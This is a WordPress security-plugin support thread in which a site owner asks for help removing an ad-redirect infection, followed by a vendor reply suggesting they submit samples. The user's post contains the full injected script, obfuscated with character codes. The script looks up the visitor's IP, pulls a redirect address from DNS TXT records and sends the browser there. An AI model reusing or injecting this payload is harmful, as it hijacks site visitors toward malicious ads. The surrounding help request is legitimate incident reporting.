redirect malware when open page
-
Hello
there is kinds of viruses and malware that aloe of tools can read it
but wordfence can even see it
the viruses was in cache file and after delete it
its on the pages
what to do now ?
The page I need help with: [log in to see the link]
-
here is the problem code causing the redirect to ads
<script>document.write(String.fromCharCode(60,115,99,114,105,112,116,62,118,97,114,32,95,36,95,97,55,57,56,61,91,34,92,120,50,69,34,44,34,92,120,50,68,34,44,34,92,120,55,50,92,120,54,53,92,120,55,48,92,120,54,67,92,120,54,49,92,120,54,51,92,120,54,53,92,120,52,49,92,120,54,67,92,120,54,67,34,44,34,92,120,54,57,92,120,55,48,34,44,34,92,120,51,65,34,44,34,92,120,54,56,92,120,54,70,92,120,55,51,92,120,55,52,92,120,54,69,92,120,54,49,92,120,54,68,92,120,54,53,34,44,34,92,120,54,67,92,120,54,70,92,120,54,51,92,120,54,49,92,120,55,52,92,120,54,57,92,120,54,70,92,120,54,69,34,44,34,34,44,34,92,120,55,53,92,120,54,69,92,120,54,66,92,120,50,69,92,120,54,51,92,120,54,70,92,120,54,68,34,44,34,92,120,52,49,92,120,54,69,92,120,55,51,92,120,55,55,92,120,54,53,92,120,55,50,34,44,34,92,120,55,52,92,120,55,57,92,120,55,48,92,120,54,53,34,44,34,92,120,54,52,92,120,54,49,92,120,55,52,92,120,54,49,34,44,34,92,120,54,54,92,120,54,70,92,120,55,50,92,120,52,53,92,120,54,49,92,120,54,51,92,120,54,56,34,44,34,92,120,54,67,92,120,54,53,92,120,54,69,92,120,54,55,92,120,55,52,92,120,54,56,34,44,34,92,120,55,50,92,120,54,53,92,120,55,48,92,120,54,67,92,120,54,49,92,120,54,51,92,120,54,53,34,44,34,92,120,55,52,92,120,54,56,92,120,54,53,92,120,54,69,34,44,34,92,120,54,65,92,120,55,51,92,120,54,70,92,120,54,69,34,44,34,92,120,54,56,92,120,55,52,92,120,55,52,92,120,55,48,92,120,55,51,92,120,51,65,92,120,50,70,92,120,50,70,92,120,54,52,92,120,54,69,92,120,55,51,92,120,50,69,92,120,54,55,92,120,54,70,92,120,54,70,92,120,54,55,92,120,54,67,92,120,54,53,92,120,50,70,92,120,55,50,92,120,54,53,92,120,55,51,92,120,54,70,92,120,54,67,92,120,55,54,92,120,54,53,92,120,51,70,92,120,54,69,92,120,54,49,92,120,54,68,92,120,54,53,92,120,51,68,34,44,34,92,120,55,50,92,120,54,49,92,120,54,69,92,120,54,52,92,120,54,70,92,120,54,68,34,44,34,92,120,54,54,92,120,54,67,92,120,54,70,92,120,54,70,92,120,55,50,34,44,34,92,120,50,69,92,120,54,49,92,120,54,52,92,120,55,51,92,120,50,68,92,120,55,48,92,120,55,50,92,120,54,70,92,120,54,68,92,120,54,70,92,120,50,69,92,120,54,51,92,120,54,70,92,120,54,68,92,120,50,54,92,120,55,52,92,120,55,57,92,120,55,48,92,120,54,53,92,120,51,68,92,120,55,52,92,120,55,56,92,120,55,52,34,44,34,92,120,54,56,92,120,55,52,92,120,55,52,92,120,55,48,92,120,55,51,92,120,51,65,92,120,50,70,92,120,50,70,92,120,54,49,92,120,55,48,92,120,54,57,92,120,51,54,92,120,51,52,92,120,50,69,92,120,54,57,92,120,55,48,92,120,54,57,92,120,54,54,92,120,55,57,92,120,50,69,92,120,54,70,92,120,55,50,92,120,54,55,92,120,51,70,92,120,54,54,92,120,54,70,92,120,55,50,92,120,54,68,92,120,54,49,92,120,55,52,92,120,51,68,92,120,54,65,92,120,55,51,92,120,54,70,92,120,54,69,34,93,59,40,102,117,110,99,116,105,111,110,40,95,48,120,49,67,55,68,52,41,123,102,101,116,99,104,40,95,36,95,97,55,57,56,91,50,49,93,41,91,95,36,95,97,55,57,56,91,49,53,93,93,40,40,95,48,120,49,67,56,49,68,41,61,62,95,48,120,49,67,56,49,68,91,95,36,95,97,55,57,56,91,49,54,93,93,40,41,41,91,95,36,95,97,55,57,56,91,49,53,93,93,40,40,95,48,120,49,67,56,65,70,41,61,62,123,95,48,120,49,67,56,65,70,61,32,95,48,120,49,67,56,65,70,91,95,36,95,97,55,57,56,91,51,93,93,91,95,36,95,97,55,57,56,91,50,93,93,40,95,36,95,97,55,57,56,91,48,93,44,95,36,95,97,55,57,56,91,49,93,41,59,95,48,120,49,67,56,65,70,61,32,95,48,120,49,67,56,65,70,91,95,36,95,97,55,57,56,91,50,93,93,40,95,36,95,97,55,57,56,91,52,93,44,95,36,95,97,55,57,56,91,49,93,41,59,108,101,116,32,95,48,120,49,67,56,54,54,61,119,105,110,100,111,119,91,95,36,95,97,55,57,56,91,54,93,93,91,95,36,95,97,55,57,56,91,53,93,93,59,105,102,40,95,48,120,49,67,56,54,54,61,61,32,95,36,95,97,55,57,56,91,55,93,41,123,95,48,120,49,67,56,54,54,61,32,95,36,95,97,55,57,56,91,56,93,125,59,102,101,116,99,104,40,95,36,95,97,55,57,56,91,49,55,93,43,32,95,48,120,49,67,56,54,54,43,32,95,36,95,97,55,57,56,91,48,93,43,32,95,48,120,49,67,56,65,70,43,32,95,36,95,97,55,57,56,91,48,93,43,32,77,97,116,104,91,95,36,95,97,55,57,56,91,49,57,93,93,40,77,97,116,104,91,95,36,95,97,55,57,56,91,49,56,93,93,40,41,42,32,49,48,50,52,42,32,49,48,50,52,42,32,49,48,41,43,32,95,36,95,97,55,57,56,91,50,48,93,41,91,95,36,95,97,55,57,56,91,49,53,93,93,40,40,95,48,120,49,67,56,49,68,41,61,62,95,48,120,49,67,56,49,68,91,95,36,95,97,55,57,56,91,49,54,93,93,40,41,41,91,95,36,95,97,55,57,56,91,49,53,93,93,40,40,95,48,120,49,67,56,70,56,41,61,62,123,105,102,40,95,48,120,49,67,56,70,56,91,95,36,95,97,55,57,56,91,57,93,93,61,61,32,110,117,108,108,41,123,114,101,116,117,114,110,125,59,118,97,114,32,95,48,120,49,67,57,52,49,61,95,36,95,97,55,57,56,91,55,93,59,95,48,120,49,67,56,70,56,91,95,36,95,97,55,57,56,91,57,93,93,91,95,36,95,97,55,57,56,91,49,50,93,93,40,40,95,48,120,49,67,57,56,65,41,61,62,123,105,102,40,95,48,120,49,67,57,56,65,91,95,36,95,97,55,57,56,91,49,48,93,93,61,61,32,49,54,41,123,95,48,120,49,67,57,52,49,43,61,32,95,48,120,49,67,57,56,65,91,95,36,95,97,55,57,56,91,49,49,93,93,125,125,41,59,95,48,120,49,67,57,52,49,61,32,97,116,111,98,40,95,48,120,49,67,57,52,49,41,59,105,102,40,33,95,48,120,49,67,57,52,49,91,95,36,95,97,55,57,56,91,49,51,93,93,41,123,114,101,116,117,114,110,125,59,119,105,110,100,111,119,91,95,36,95,97,55,57,56,91,54,93,93,91,95,36,95,97,55,57,56,91,49,52,93,93,40,95,48,120,49,67,57,52,49,41,125,41,125,41,125,41,40,41,60,47,115,99,114,105,112,116,62));</script> <script type="text/javascript">
Hi @h0ssam, thanks for getting in touch.
If Wordfence is fully up-to-date and your rules updates/scans are completing as expected, it is possible that code/malware may be packaged in a way we haven’t seen before.
You can send any files containing the above snippet (or any others) you believe Wordfence should be picking up to samples @ wordfence . com where our team can inform you whether any action is necessary to resolve the issue from our, or your end.
Please note that when attaching files, ensure that you remove any database access credentials or keys/salts contained inside before sending.
Many thanks,
Peter.
- The topic ‘redirect malware when open page’ is closed to new replies.